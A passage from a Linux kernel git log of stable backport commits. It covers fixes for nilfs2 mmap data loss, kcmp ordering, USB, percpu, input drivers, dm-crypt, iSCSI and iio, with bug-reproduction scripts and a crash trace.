mkfs.nilfs2 -f /dev/sdb mount /dev/sdb /mnt dd if=/dev/zero bs=1M count=30 of=/mnt/testfile umount /mnt mount /dev/sdb /mnt CHECKSUM_BEFORE="$(md5sum /mnt/testfile)" /root/mmaptest/mmaptest /mnt/testfile 30 10 5 sync CHECKSUM_AFTER="$(md5sum /mnt/testfile)" umount /mnt mount /dev/sdb /mnt CHECKSUM_AFTER_REMOUNT="$(md5sum /mnt/testfile)" umount /mnt echo "BEFORE MMAP:\t$CHECKSUM_BEFORE" echo "AFTER MMAP:\t$CHECKSUM_AFTER" echo "AFTER REMOUNT:\t$CHECKSUM_AFTER_REMOUNT" ----------------[END SCRIPT]-------------------- The mmaptest tool looks something like this (very simplified, with error checking removed): ----------------[BEGIN mmaptest]-------------------- data = mmap(NULL, file_size - file_offset, PROT_READ | PROT_WRITE, MAP_SHARED, fd, file_offset); for (i = 0; i < write_count; ++i) { memcpy(data + i * 4096, buf, sizeof(buf)); msync(data, file_size - file_offset, MS_SYNC)) } ----------------[END mmaptest]-------------------- The output of the script looks something like this: BEFORE MMAP: 281ed1d5ae50e8419f9b978aab16de83 /mnt/testfile AFTER MMAP: 6604a1c31f10780331a6850371b3a313 /mnt/testfile AFTER REMOUNT: 281ed1d5ae50e8419f9b978aab16de83 /mnt/testfile So it is clear, that the changes done using mmap() do not survive a remount. This can be reproduced a 100% of the time. The problem was introduced in commit 136e8770cd5d ("nilfs2: fix issue of nilfs_set_page_dirty() for page at EOF boundary"). If the page was read with mpage_readpage() or mpage_readpages() for example, then it has no buffers attached to it. In that case page_has_buffers(page) in nilfs_set_page_dirty() will be false. Therefore nilfs_set_file_dirty() is never called and the pages are never collected and never written to disk. This patch fixes the problem by also calling nilfs_set_file_dirty() if the page has no buffers attached to it. [akpm@linux-foundation.org: s/PAGE_SHIFT/PAGE_CACHE_SHIFT/] Signed-off-by: Andreas Rohner Tested-by: Andreas Rohner Signed-off-by: Ryusuke Konishi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 58d879b0c5bd45d7b0a2c447d2ab0cb7bb6aea70 Author: Andrey Vagin Date: Tue Sep 9 14:51:06 2014 -0700 fs/notify: don't show f_handle if exportfs_encode_inode_fh failed commit 7e8824816bda16bb11ff5ff1e1212d642e57b0b3 upstream. Currently we handle only ENOSPC. In case of other errors the file_handle variable isn't filled properly and we will show a part of stack. Signed-off-by: Andrey Vagin Acked-by: Cyrill Gorcunov Cc: Alexander Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f68fe82516f07bcb2c97db52a6e19ebec82b19d9 Author: Andrey Vagin Date: Tue Sep 9 14:51:04 2014 -0700 fsnotify/fdinfo: use named constants instead of hardcoded values commit 1fc98d11cac6dd66342e5580cb2687e5b1e9a613 upstream. MAX_HANDLE_SZ is equal to 128, but currently the size of pad is only 64 bytes, so exportfs_encode_inode_fh can return an error. Signed-off-by: Andrey Vagin Acked-by: Cyrill Gorcunov Cc: Alexander Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 159a785cd95958ba726fa6d6c66b4f82cad3e529 Author: Rasmus Villemoes Date: Tue Sep 9 14:51:01 2014 -0700 kcmp: fix standard comparison bug commit acbbe6fbb240a927ee1f5994f04d31267d422215 upstream. The C operator <= defines a perfectly fine total ordering on the set of values representable in a long. However, unlike its namesake in the integers, it is not translation invariant, meaning that we do not have "b <= c" iff "a+b <= a+c" for all a,b,c. This means that it is always wrong to try to boil down the relationship between two longs to a question about the sign of their difference, because the resulting relation [a LEQ b iff a-b <= 0] is neither anti-symmetric or transitive. The former is due to -LONG_MIN==LONG_MIN (take any two a,b with a-b = LONG_MIN; then a LEQ b and b LEQ a, but a != b). The latter can either be seen observing that x LEQ x+1 for all x, implying x LEQ x+1 LEQ x+2 ... LEQ x-1 LEQ x; or more directly with the simple example a=LONG_MIN, b=0, c=1, for which a-b < 0, b-c < 0, but a-c > 0. Note that it makes absolutely no difference that a transmogrying bijection has been applied before the comparison is done. In fact, had the obfuscation not been done, one could probably not observe the bug (assuming all values being compared always lie in one half of the address space, the mathematical value of a-b is always representable in a long). As it stands, one can easily obtain three file descriptors exhibiting the non-transitivity of kcmp(). Side note 1: I can't see that ensuring the MSB of the multiplier is set serves any purpose other than obfuscating the obfuscating code. Side note 2: #include #include #include #include #include #include #include enum kcmp_type { KCMP_FILE, KCMP_VM, KCMP_FILES, KCMP_FS, KCMP_SIGHAND, KCMP_IO, KCMP_SYSVSEM, KCMP_TYPES, }; pid_t pid; int kcmp(pid_t pid1, pid_t pid2, int type, unsigned long idx1, unsigned long idx2) { return syscall(SYS_kcmp, pid1, pid2, type, idx1, idx2); } int cmp_fd(int fd1, int fd2) { int c = kcmp(pid, pid, KCMP_FILE, fd1, fd2); if (c < 0) { perror("kcmp"); exit(1); } assert(0 <= c && c < 3); return c; } int cmp_fdp(const void *a, const void *b) { static const int normalize[] = {0, -1, 1}; return normalize[cmp_fd(*(int*)a, *(int*)b)]; } #define MAX 100 /* This is plenty; I've seen it trigger for MAX==3 */ int main(int argc, char *argv[]) { int r, s, count = 0; int REL[3] = {0,0,0}; int fd[MAX]; pid = getpid(); while (count < MAX) { r = open("/dev/null", O_RDONLY); if (r < 0) break; fd[count++] = r; } printf("opened %d file descriptors\n", count); for (r = 0; r < count; ++r) { for (s = r+1; s < count; ++s) { REL[cmp_fd(fd[r], fd[s])]++; } } printf("== %d\t< %d\t> %d\n", REL[0], REL[1], REL[2]); qsort(fd, count, sizeof(fd[0]), cmp_fdp); memset(REL, 0, sizeof(REL)); for (r = 0; r < count; ++r) { for (s = r+1; s < count; ++s) { REL[cmp_fd(fd[r], fd[s])]++; } } printf("== %d\t< %d\t> %d\n", REL[0], REL[1], REL[2]); return (REL[0] + REL[2] != 0); } Signed-off-by: Rasmus Villemoes Reviewed-by: Cyrill Gorcunov "Eric W. Biederman" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3324e8f03cd132cab1e01e53fcade26ad9b23672 Author: Johannes Berg Date: Mon Aug 25 12:08:09 2014 +0200 Revert "mac80211: disable uAPSD if all ACs are under ACM" commit bb512ad0732232f1d2693bb68f31a76bed8f22ae upstream. This reverts commit 24aa11ab8ae03292d38ec0dbd9bc2ac49fe8a6dd. That commit was wrong since it uses data that hasn't even been set up yet, but might be a hold-over from a previous connection. Additionally, it seems like a driver-specific workaround that shouldn't have been in mac80211 to start with. Fixes: 24aa11ab8ae0 ("mac80211: disable uAPSD if all ACs are under ACM") Reviewed-by: Luciano Coelho Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 78566d2578edcd3bdd3c528876c315d4cb34cc9d Author: Felipe Balbi Date: Wed Sep 3 16:13:37 2014 -0500 usb: dwc3: core: fix ordering for PHY suspend commit dc99f16f076559235c92d3eb66d03d1310faea08 upstream. We can't suspend the PHYs before dwc3_core_exit_mode() has been called, that's because the host and/or device sides might still need to communicate with the far end link partner. Fixes: 8ba007a (usb: dwc3: core: enable the USB2 and USB3 phy in probe) Suggested-by: Alan Stern Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 410c539b633231a7866ba012e296478f872cbf2d Author: Felipe Balbi Date: Tue Sep 2 14:57:20 2014 -0500 usb: dwc3: core: fix order of PM runtime calls commit fed33afce0eda44a46ae24d93aec1b5198c0bac4 upstream. Currently, we disable pm_runtime before all register accesses are done, this is dangerous and might lead to abort exceptions due to the driver trying to access a register which is clocked by a clock which was long gated. Fix that by moving pm_runtime_put_sync() and pm_runtime_disable() as the last thing we do before returning from our ->remove() method. Fixes: 72246da (usb: Introduce DesignWare USB3 DRD Driver) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 78c33e9aa3d09f823b8bdd3a062630b744b146a5 Author: Felipe Balbi Date: Wed Aug 27 16:38:04 2014 -0500 usb: host: xhci: fix compliance mode workaround commit 96908589a8b2584b1185f834d365f5cc360e8226 upstream. Commit 71c731a (usb: host: xhci: Fix Compliance Mode on SN65LVP3502CP Hardware) implemented a workaround for a known issue with Texas Instruments' USB 3.0 redriver IC but it left a condition where any xHCI host would be taken out of reset if port was placed in compliance mode and there was no device connected to the port. That condition would trigger a fake connection to a non-existent device so that usbcore would trigger a warm reset of the port, thus taking the link out of reset. This has the side-effect of preventing any xHCI host connected to a Linux machine from starting and running the USB 3.0 Electrical Compliance Suite because the port will mysteriously taken out of compliance mode and, thus, xHCI won't step through the necessary compliance patterns for link validation. This patch fixes the issue by just adding a missing check for XHCI_COMP_MODE_QUIRK inside xhci_hub_report_usb3_link_state() when PORT_CAS isn't set. This patch should be backported to all kernels containing commit 71c731a. Fixes: 71c731a (usb: host: xhci: Fix Compliance Mode on SN65LVP3502CP Hardware) Cc: Alexis R. Cortes Cc: # v3.2+ Signed-off-by: Felipe Balbi Acked-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 470400211e43c2a2f933dce6576d4927c23c8141 Author: Jens Axboe Date: Tue Sep 16 13:38:51 2014 -0600 genhd: fix leftover might_sleep() in blk_free_devt() commit 46f341ffcfb5d8530f7d1e60f3be06cce6661b62 upstream. Commit 2da78092 changed the locking from a mutex to a spinlock, so we now longer sleep in this context. But there was a leftover might_sleep() in there, which now triggers since we do the final free from an RCU callback. Get rid of it. Reported-by: Pontus Fuchs Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2b151f71a5ba328297d66e1fdf0186d875c78d20 Author: J. Bruce Fields Date: Fri Aug 29 16:25:50 2014 -0400 lockd: fix rpcbind crash on lockd startup failure commit 7c17705e77b12b20fb8afb7c1b15dcdb126c0c12 upstream. Nikita Yuschenko reported that booting a kernel with init=/bin/sh and then nfs mounting without portmap or rpcbind running using a busybox mount resulted in: # mount -t nfs 10.30.130.21:/opt /mnt svc: failed to register lockdv1 RPC service (errno 111). lockd_up: makesock failed, error=-111 Unable to handle kernel paging request for data at address 0x00000030 Faulting instruction address: 0xc055e65c Oops: Kernel access of bad area, sig: 11 [#1] MPC85xx CDS Modules linked in: CPU: 0 PID: 1338 Comm: mount Not tainted 3.10.44.cge #117 task: cf29cea0 ti: cf35c000 task.ti: cf35c000 NIP: c055e65c LR: c0566490 CTR: c055e648 REGS: cf35dad0 TRAP: 0300 Not tainted (3.10.44.cge) MSR: 00029000 CR: 22442488 XER: 20000000 DEAR: 00000030, ESR: 00000000 GPR00: c05606f4 cf35db80 cf29cea0 cf0ded80 cf0dedb8 00000001 1dec3086 00000000 GPR08: 00000000 c07b1640 00000007 1dec3086 22442482 100b9758 00000000 10090ae8 GPR16: 00000000 000186a5 00000000 00000000 100c3018 bfa46edc 100b0000 bfa46ef0 GPR24: cf386ae0 c07834f0 00000000 c0565f88 00000001 cf0dedb8 00000000 cf0ded80 NIP [c055e65c] call_start+0x14/0x34 LR [c0566490] __rpc_execute+0x70/0x250 Call Trace: [cf35db80] [00000080] 0x80 (unreliable) [cf35dbb0] [c05606f4] rpc_run_task+0x9c/0xc4 [cf35dbc0] [c0560840] rpc_call_sync+0x50/0xb8 [cf35dbf0] [c056ee90] rpcb_register_call+0x54/0x84 [cf35dc10] [c056f24c] rpcb_register+0xf8/0x10c [cf35dc70] [c0569e18] svc_unregister.isra.23+0x100/0x108 [cf35dc90] [c0569e38] svc_rpcb_cleanup+0x18/0x30 [cf35dca0] [c0198c5c] lockd_up+0x1dc/0x2e0 [cf35dcd0] [c0195348] nlmclnt_init+0x2c/0xc8 [cf35dcf0] [c015bb5c] nfs_start_lockd+0x98/0xec [cf35dd20] [c015ce6c] nfs_create_server+0x1e8/0x3f4 [cf35dd90] [c0171590] nfs3_create_server+0x10/0x44 [cf35dda0] [c016528c] nfs_try_mount+0x158/0x1e4 [cf35de20] [c01670d0] nfs_fs_mount+0x434/0x8c8 [cf35de70] [c00cd3bc] mount_fs+0x20/0xbc [cf35de90] [c00e4f88] vfs_kern_mount+0x50/0x104 [cf35dec0] [c00e6e0c] do_mount+0x1d0/0x8e0 [cf35df10] [c00e75ac] SyS_mount+0x90/0xd0 [cf35df40] [c000ccf4] ret_from_syscall+0x0/0x3c The addition of svc_shutdown_net() resulted in two calls to svc_rpcb_cleanup(); the second is no longer necessary and crashes when it calls rpcb_register_call with clnt=NULL. Reported-by: Nikita Yushchenko Fixes: 679b033df484 "lockd: ensure we tear down any live sockets when socket creation fails during lockd_up" Acked-by: Jeff Layton Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 068fb52057c86d552e0d81170e787c1139583460 Author: Larry Finger Date: Sun Aug 24 17:49:43 2014 -0500 rtlwifi: rtl8192cu: Add new ID commit c66517165610b911e4c6d268f28d8c640832dbd1 upstream. The Sitecom WLA-2102 adapter uses this driver. Reported-by: Nico Baggus Signed-off-by: Larry Finger Cc: Nico Baggus Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0850ba4e324df8d878173a3e030f81b93d70692 Author: Tejun Heo Date: Fri Aug 15 16:06:10 2014 -0400 percpu: perform tlb flush after pcpu_map_pages() failure commit 849f5169097e1ba35b90ac9df76b5bb6f9c0aabd upstream. If pcpu_map_pages() fails midway, it unmaps the already mapped pages. Currently, it doesn't flush tlb after the partial unmapping. This may be okay in most cases as the established mapping hasn't been used at that point but it can go wrong and when it goes wrong it'd be extremely difficult to track down. Flush tlb after the partial unmapping. Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a8ca53af84c58316753d0c16c3de730d26fbcca Author: Tejun Heo Date: Fri Aug 15 16:06:06 2014 -0400 percpu: fix pcpu_alloc_pages() failure path commit f0d279654dea22b7a6ad34b9334aee80cda62cde upstream. When pcpu_alloc_pages() fails midway, pcpu_free_pages() is invoked to free what has already been allocated. The invocation is across the whole requested range and pcpu_free_pages() will try to free all non-NULL pages; unfortunately, this is incorrect as pcpu_get_pages_and_bitmap(), unlike what its comment suggests, doesn't clear the pages array and thus the array may have entries from the previous invocations making the partial failure path free incorrect pages. Fix it by open-coding the partial freeing of the already allocated pages. Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42904d1831e920dffe9d2ba3f161de4dd3632050 Author: Honggang Li Date: Tue Aug 12 21:36:15 2014 +0800 percpu: free percpu allocation info for uniprocessor system commit 3189eddbcafcc4d827f7f19facbeddec4424eba8 upstream. Currently, only SMP system free the percpu allocation info. Uniprocessor system should free it too. For example, one x86 UML virtual machine with 256MB memory, UML kernel wastes one page memory. Signed-off-by: Honggang Li Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6588f56f95cb128140fad97d996a9382050afb0 Author: James Ralston Date: Wed Aug 27 14:31:58 2014 -0700 ata_piix: Add Device IDs for Intel 9 Series PCH commit 6cad1376954e591c3c41500c4e586e183e7ffe6d upstream. This patch adds the IDE mode SATA Device IDs for the Intel 9 Series PCH. Signed-off-by: James Ralston Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c78c685dfb9168e62c91575dabcf781ad18681fa Author: Hans de Goede Date: Thu Sep 11 10:10:26 2014 -0700 Input: i8042 - add nomux quirk for Avatar AVIU-145A6 commit d2682118f4bb3ceb835f91c1a694407a31bb7378 upstream. The sys_vendor / product_name are somewhat generic unfortunately, so this may lead to some false positives. But nomux usually does no harm, where as not having it clearly is causing problems on the Avatar AVIU-145A6. https://bugzilla.kernel.org/show_bug.cgi?id=77391 Reported-by: Hugo P Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1b9757bfaa470e8dd475d83403cc12c4257b2011 Author: Hans de Goede Date: Wed Sep 10 13:53:37 2014 -0700 Input: i8042 - add Fujitsu U574 to no_timeout dmi table commit cc18a69c92d0972bc2fc5a047ee3be1e8398171b upstream. https://bugzilla.kernel.org/show_bug.cgi?id=69731 Reported-by: Jason Robinson Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 13a1aab8024a95d35ed0b98838e5430aee0773ed Author: Dmitry Torokhov Date: Wed Sep 10 13:50:37 2014 -0700 Input: atkbd - do not try 'deactivate' keyboard on any LG laptops commit c01206796139e2b1feb7539bc72174fef1c6dc6e upstream. We are getting more and more reports about LG laptops not having functioning keyboard if we try to deactivate keyboard during probe. Given that having keyboard deactivated is merely "nice to have" instead of a hard requirement for probing, let's disable it on all LG boxes instead of trying to hunt down particular models. This change is prompted by patches trying to add "LG Electronics"/"ROCKY" and "LG Electronics"/"LW60-F27B" to the DMI list. https://bugzilla.kernel.org/show_bug.cgi?id=77051 Reported-by: Jaime Velasco Juan Reported-by: Georgios Tsalikis Tested-by: Jaime Velasco Juan Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0f3ae15318e9662aa384d1e02bb615d098497c5 Author: Hans de Goede Date: Mon Sep 8 14:39:52 2014 -0700 Input: elantech - fix detection of touchpad on ASUS s301l commit 271329b3c798b2102120f5df829071c211ef00ed upstream. Adjust Elantech signature validation to account fo rnewer models of touchpads. Reported-and-tested-by: Màrius Monton Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 951dc74dad57a6ffc767e295f85fbd0031d78d97 Author: Dmitry Torokhov Date: Sat Aug 30 13:51:06 2014 -0700 Input: synaptics - add support for ForcePads commit 5715fc764f7753d464dbe094b5ef9cffa6e479a4 upstream. ForcePads are found on HP EliteBook 1040 laptops. They lack any kind of physical buttons, instead they generate primary button click when user presses somewhat hard on the surface of the touchpad. Unfortunately they also report primary button click whenever there are 2 or more contacts on the pad, messing up all multi-finger gestures (2-finger scrolling, multi-finger tapping, etc). To cope with this behavior we introduce a delay (currently 50 msecs) in reporting primary press in case more contacts appear. Reviewed-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa3ab9a76b2e53ca3dde2703d6a1b0f0482661f2 Author: John Sung Date: Tue Sep 9 10:06:51 2014 -0700 Input: serport - add compat handling for SPIOCSTYPE ioctl commit a80d8b02751060a178bb1f7a6b7a93645a7a308b upstream. When running a 32-bit inputattach utility in a 64-bit system, there will be error code "inputattach: can't set device type". This is caused by the serport device driver not supporting compat_ioctl, so that SPIOCSTYPE ioctl fails. Signed-off-by: John Sung Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8f4c1ba427a87e5b37d1c6eb4f3e976fdcec5d0 Author: Mikulas Patocka Date: Thu Aug 28 11:09:31 2014 -0400 dm crypt: fix access beyond the end of allocated space commit d49ec52ff6ddcda178fc2476a109cf1bd1fa19ed upstream. The DM crypt target accesses memory beyond allocated space resulting in a crash on 32 bit x86 systems. This bug is very old (it dates back to 2.6.25 commit 3a7f6c990ad04 "dm crypt: use async crypto"). However, this bug was masked by the fact that kmalloc rounds the size up to the next power of two. This bug wasn't exposed until 3.17-rc1 commit 298a9fa08a ("dm crypt: use per-bio data"). By switching to using per-bio data there was no longer any padding beyond the end of a dm-crypt allocated memory block. To minimize allocation overhead dm-crypt puts several structures into one block allocated with kmalloc. The block holds struct ablkcipher_request, cipher-specific scratch pad (crypto_ablkcipher_reqsize(any_tfm(cc))), struct dm_crypt_request and an initialization vector. The variable dmreq_start is set to offset of struct dm_crypt_request within this memory block. dm-crypt allocates the block with this size: cc->dmreq_start + sizeof(struct dm_crypt_request) + cc->iv_size. When accessing the initialization vector, dm-crypt uses the function iv_of_dmreq, which performs this calculation: ALIGN((unsigned long)(dmreq + 1), crypto_ablkcipher_alignmask(any_tfm(cc)) + 1). dm-crypt allocated "cc->iv_size" bytes beyond the end of dm_crypt_request structure. However, when dm-crypt accesses the initialization vector, it takes a pointer to the end of dm_crypt_request, aligns it, and then uses it as the initialization vector. If the end of dm_crypt_request is not aligned on a crypto_ablkcipher_alignmask(any_tfm(cc)) boundary the alignment causes the initialization vector to point beyond the allocated space. Fix this bug by calculating the variable iv_size_padding and adding it to the allocated size. Also correct the alignment of dm_crypt_request. struct dm_crypt_request is specific to dm-crypt (it isn't used by the crypto subsystem at all), so it is aligned on __alignof__(struct dm_crypt_request). Also align per_bio_data_size on ARCH_KMALLOC_MINALIGN, so that it is aligned as if the block was allocated with kmalloc. Reported-by: Krzysztof Kolasa Tested-by: Milan Broz Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35e64956f96d84294846691c4228f41ccaf422c5 Author: Keith Busch Date: Tue Aug 26 09:05:36 2014 -0600 block: Fix dev_t minor allocation lifetime commit 2da78092dda13f1efd26edbbf99a567776913750 upstream. Releases the dev_t minor when all references are closed to prevent another device from acquiring the same major/minor. Since the partition's release may be invoked from call_rcu's soft-irq context, the ext_dev_idr's mutex had to be replaced with a spinlock so as not so sleep. Signed-off-by: Keith Busch Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4adb7c7db1ec62d89e9065ffc8e3fd427bf398ca Author: Tejun Heo Date: Sat Sep 13 04:14:30 2014 +0900 workqueue: apply __WQ_ORDERED to create_singlethread_workqueue() commit e09c2c295468476a239d13324ce9042ec4de05eb upstream. create_singlethread_workqueue() is a compat interface for single threaded workqueue which maps to ordered workqueue w/ rescuer in the current implementation. create_singlethread_workqueue() currently implemented by invoking alloc_workqueue() w/ appropriate parameters. 8719dceae2f9 ("workqueue: reject adjusting max_active or applying attrs to ordered workqueues") introduced __WQ_ORDERED to protect ordered workqueues against dynamic attribute changes which can break ordering guarantees but forgot to apply it to create_singlethread_workqueue(). This in itself is okay as nobody currently uses dynamic attribute change on workqueues created with create_singlethread_workqueue(). However, 4c16bd327c ("workqueue: implement NUMA affinity for unbound workqueues") broke singlethreaded guarantee for ordered workqueues through allocating a separate pool_workqueue on each NUMA node by default. A later change 8a2b75384444 ("workqueue: fix ordered workqueues in NUMA setups") fixed it by allocating only one global pool_workqueue if __WQ_ORDERED is set. Combined, the __WQ_ORDERED omission in create_singlethread_workqueue() became critical breaking its single threadedness and ordering guarantee. Let's make create_singlethread_workqueue() wrap alloc_ordered_workqueue() instead so that it inherits __WQ_ORDERED and can implicitly track future ordered_workqueue changes. v2: I missed that __WQ_ORDERED now protects against pwq splitting across NUMA nodes and incorrectly described the patch as a nice-to-have fix to protect against future dynamic attribute usages. Oleg pointed out that this is actually a critical breakage due to 8a2b75384444 ("workqueue: fix ordered workqueues in NUMA setups"). Signed-off-by: Tejun Heo Reported-by: Mike Anderson Cc: Oleg Nesterov Cc: Gustavo Luiz Duarte Cc: Tomas Henzl Fixes: 4c16bd327c ("workqueue: implement NUMA affinity for unbound workqueues") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f6dd193acabdd80a5414fa3585a8ca982334520 Author: Emmanuel Grumbach Date: Sun Aug 31 22:11:11 2014 +0300 Revert "iwlwifi: dvm: don't enable CTS to self" commit f47f46d7b09cf1d09e4b44b6cc4dd7d68a08028c upstream. This reverts commit 43d826ca5979927131685cc2092c7ce862cb91cd. This commit caused packet loss. Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8053c672b10289ecd1bc9f077aaeda61102e166 Author: Mike Christie Date: Wed Sep 3 00:00:39 2014 -0500 SCSI: libiscsi: fix potential buffer overrun in __iscsi_conn_send_pdu commit db9bfd64b14a3a8f1868d2164518fdeab1b26ad1 upstream. This patches fixes a potential buffer overrun in __iscsi_conn_send_pdu. This function is used by iscsi drivers and userspace to send iscsi PDUs/ commands. For login commands, we have a set buffer size. For all other commands we do not support data buffers. This was reported by Dan Carpenter here: http://www.spinics.net/lists/linux-scsi/msg66838.html Reported-by: Dan Carpenter Signed-off-by: Mike Christie Reviewed-by: Sagi Grimberg Signed-off-by: Christoph Hellwig Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 666d1f585ce20abe47eee3f03ec82d0078ac6143 Author: Dan Carpenter Date: Mon Sep 1 20:27:29 2014 +0300 NFC: microread: Potential overflows in microread_target_discovered() commit d07f1e8600ccb885c8f4143402b8912f7d827bcb upstream. Smatch says that skb->data is untrusted so we need to check to make sure that the memcpy() doesn't overflow. Fixes: cfad1ba87150 ('NFC: Initial support for Inside Secure microread') Signed-off-by: Dan Carpenter Signed-off-by: Samuel Ortiz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dedfe2ee089a8cac3e0c897f6c7d614bfefbf9c5 Author: Nicholas Bellinger Date: Wed Sep 17 11:45:17 2014 -0700 iscsi-target: Fix memory corruption in iscsit_logout_post_handler_diffcid commit b53b0d99d6fbf7d44330395349a895521cfdbc96 upstream. This patch fixes a bug in iscsit_logout_post_handler_diffcid() where a pointer used as storage for list_for_each_entry() was incorrectly being used to determine if no matching entry had been found. This patch changes iscsit_logout_post_handler_diffcid() to key off bool conn_found to determine if the function needs to exit early. Reported-by: Joern Engel Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ace31a8c1bb0955bd9611eb44a60a20c2ed7039e Author: Joern Engel Date: Tue Sep 2 17:49:54 2014 -0400 iscsi-target: avoid NULL pointer in iscsi_copy_param_list failure commit 8ae757d09c45102b347a1bc2867f54ffc1ab8fda upstream. In iscsi_copy_param_list() a failed iscsi_param_list memory allocation currently invokes iscsi_release_param_list() to cleanup, and will promptly trigger a NULL pointer dereference. Instead, go ahead and return for the first iscsi_copy_param_list() failure case. Found by coverity. Signed-off-by: Joern Engel Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb0470dc8b669cd901fb80f73f4d84883c800812 Author: Sagi Grimberg Date: Wed Jul 2 16:19:25 2014 +0300 Target/iser: Don't put isert_conn inside disconnected handler commit 0fc4ea701fcf5bc51ace4e288af5be741465f776 upstream. disconnected_handler is invoked on several CM events (such as DISCONNECTED, DEVICE_REMOVAL, TIMEWAIT_EXIT...). Since multiple events can occur while before isert_free_conn is invoked, we might put all isert_conn references and free the connection too early. Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a13619e291c659c5130e7a574feae41d5fd46395 Author: Sagi Grimberg Date: Wed Jul 2 16:19:24 2014 +0300 Target/iser: Get isert_conn reference once got to connected_handler commit c2f88b17a1d97ca4ecd96cc22333a7a4f1407d39 upstream. In case the connection didn't reach connected state, disconnected handler will never be invoked thus the second kref_put on isert_conn will be missing. Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b3e5c11c146ec62e0f62ea012c03c0e1dc1324eb Author: Johannes Pointner Date: Mon Aug 25 09:04:00 2014 +0100 iio:inkern: fix overwritten -EPROBE_DEFER in of_iio_channel_get_by_name commit 872687f626e033b4ddfaec1e410057cfc6636d77 upstream. Fixes: a2c12493ed7e ('iio: of_iio_channel_get_by_name() returns non-null pointers for error legs') which improperly assumes that of_iio_channel_get_by_name must always return NULL and thus now hides -EPROBE_DEFER. Signed-off-by: Johannes Pointner Reviewed-by: Guenter Roeck Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7ee23770d126499bb57b90678c5167309abe4e20 Author: Denis CIOCCA Date: Thu Oct 9 13:55:00 2014 +0100 iio:magnetometer: bugfix magnetometers gain values commit a31d0928999fbf33b3a6042e8bcb7b7f7e07d094 upstream. This patch fix gains values. The first driver was designed using engineering samples, in mass production the values are changed. Signed-off-by: Denis Ciocca Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 190ac0408f68b55635151eada07c012944f46195 Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: adc: ad_sigma_delta: Fix indio_dev->trig assignment commit 9e5846be33277802c0c76e5c12825d0e4d27f639 upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a2bf74676681b81adde4c6cac593c0ca2d72edeb Author: Srinivas Pandruvada Date: Fri Aug 22 21:48:00 2014 +0100 iio: st_sensors: Fix indio_dev->trig assignment commit f0e84acd7056e6d7ade551c6439531606ae30a46 upstream. This can result in wrong reference count for trigger device, call iio_trigger_get to increment reference. Refer to http://www.spinics.net/lists/linux-iio/msg13669.html for discussion with Jonathan. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 